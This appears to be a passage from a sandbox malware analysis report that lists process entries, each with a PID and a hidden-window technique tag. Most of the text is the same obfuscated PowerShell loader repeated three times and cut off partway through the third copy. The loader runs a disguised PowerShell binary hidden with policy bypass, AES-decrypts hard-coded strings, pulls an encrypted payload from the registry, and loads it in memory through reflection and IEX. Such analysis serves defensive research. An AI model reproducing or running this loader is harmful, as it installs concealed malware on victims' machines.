        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:9072
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        11⤵
        Hide Artifacts: Hidden Window
        
        PID:8748
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3048).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = 